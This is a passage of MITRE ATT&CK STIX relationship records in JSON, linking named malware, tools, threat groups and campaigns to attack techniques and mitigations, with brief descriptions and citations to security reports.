mode components, generally using named pipes.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--70f37bdd-dd94-46de-b41b-dd5e04997d3b","created":"2022-03-24T21:39:40.373Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can create a backdoor in KeePass using a malicious config file and in TortoiseSVN using a registry hook.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T14:25:08.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70f3eaca-179d-4412-ad32-c4e3cf60c27c","created":"2017-05-31T21:33:27.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.679Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used RDP during operations.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70f5df58-30d0-4866-bfee-64dcf10edca9","type":"relationship","created":"2019-06-28T13:52:51.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.582Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) gathers the victim computer name using the Win32 API call GetComputerName.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70f6424e-7bc0-4baf-9ed5-46f6e9b72427","created":"2024-09-17T14:41:25.905Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T14:41:25.905Z","description":"Wireless intrusion prevention systems (WIPS) can identify traffic patterns indicative of adversary-in-the-middle activity and scan for evils twins and rogue access points.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70f6f99e-d791-4af9-b9c2-23b58fc64546","created":"2020-08-10T13:14:05.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro macOS Dacls May 2020","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:43:12.828Z","description":"[Dacls](https://attack.mitre.org/software/S0497) can encrypt its configuration file with AES CBC.(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--70fa0bd3-3fbb-4fda-9de2-2b751f9552e7","created":"2020-08-13T17:15:14.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.625Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used InstallUtil.exe to execute malicious software.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70fa48cc-4acf-4df3-b8a0-d862b2b67f33","type":"relationship","created":"2020-11-19T17:07:09.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-12-16T16:12:01.522Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can enumerate files and directories.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70fe7f39-41de-4d7d-b691-4ac17c1a4c58","type":"relationship","created":"2020-12-29T16:20:28.476Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2021-01-22T16:16:01.084Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used scripts to access credential information from the KeePass database.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7101e112-c694-498f-be15-c0790f5d8547","type":"relationship","created":"2019-04-19T16:27:45.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.520Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has used its C2 channel to exfiltrate data.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7104b56f-06ef-4888-ab9b-fac77fea3097","type":"relationship","created":"2022-02-01T16:00:17.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-04T18:39:20.848Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) collected email addresses belonging to various departments of a targeted organization which were used in follow-on phishing campaigns.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7105dbb9-fcb2-41f7-a740-a19d539758fb","type":"relationship","created":"2020-08-17T14:08:26.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:08:26.174Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use a JavaScript file as part of its execution chain.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.616Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list files and directories.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7107db7b-24f5-473e-9d01-ab858dcf3adc","type":"relationship","created":"2020-09-08T14:19:02.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-09-08T14:19:02.690Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has deployed a utility script named kill.bat to disable anti-virus.(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--710919f6-2c74-4f41-be51-af848ad691af","type":"relationship","created":"2021-10-11T15:42:17.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-10-11T15:42:17.214Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has modified the Registry as part of its UAC bypass process.(Citation: Talos Lokibot Jan 2021) ","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7114f449-1436-41ca-ab9e-5704bf3552ef","created":"2023-03-02T19:02:14.782Z","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T19:02:14.782Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can determine if a user on a compromised host has domain admin privileges.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--711879b6-a9ac-42c6-a6a0-244b03890cec","type":"relationship","created":"2020-11-30T16:01:32.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}],"modified":"2020-11-30T16:01:32.332Z","description":"The [Bazar](https://attack.mitre.org/software/S0534) loader is used to download and execute the [Bazar](https://attack.mitre.org/software/S0534) backdoor.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7121357f-cc91-4e6b-a2a6-d8bb51bf4a01","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-16T16:08:55.688Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) launched a scheduled task to gain persistence using the schtasks /create /sc command.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7121d134-bda1-46a1-aa6c-64609e58603c","created":"2024-09-06T21:51:36.418Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:51:36.418Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has created accounts on dark web forums to obtain various tools and malware.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-30T02:06:48.007Z","description":"Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7133e850-c3f2-48c2-b610-22e3501354df","type":"relationship","created":"2021-03-02T14:05:06.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Amnesty Intl. Ocean Lotus February 2021","url":"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf","description":"Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}],"modified":"2021-09-24T20:24:27.670Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has conducted targeted surveillance against activists and bloggers.(Citation: Amnesty Intl. Ocean Lotus February 2021)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--713495d9-e481-4f48-af72-e3bfd474016b","type":"relationship","created":"2022-01-07T14:55:27.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-07T14:55:27.932Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can create Registry entries to enable services to run.(Citation: Talos ZxShell Oct 2014)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7138c1e4-6791-424b-adc1-5b4c7d5e3cca","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.461Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as netsh interface show to discover network interface settings.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7139ac4a-7ece-47da-a5e5-0da99847d6fa","created":"2023-03-14T17:36:01.095Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T17:36:01.095Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--713bde00-ab9d-4eaf-99b2-4d9b2b21df4c","created":"2024-07-14T20:15:21.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T18:06:59.787Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) performs a variety of system checks and gathers system information, including commands such as whoami.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--713c3a5e-931b-4c43-a945-c26f031b0183","created":"2022-09-30T18:54:47.170Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:54:47.170Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors sent spearphishing emails that contained a malicious Microsoft Word document.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--713fdffc-8955-43d6-b1bd-4515d3ca06a6","type":"relationship","created":"2021-01-06T15:56:49.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-10T18:09:07.447Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) strings were compressed and encoded in Base64.(Citation: Microsoft Analyzing Solorigate Dec 2020) [SUNBURST](https://attack.mitre.org/software/S0559) also obfuscated collected system information using a FNV-1a + XOR algorithm.(Citation: FireEye SUNBURST Backdoor December 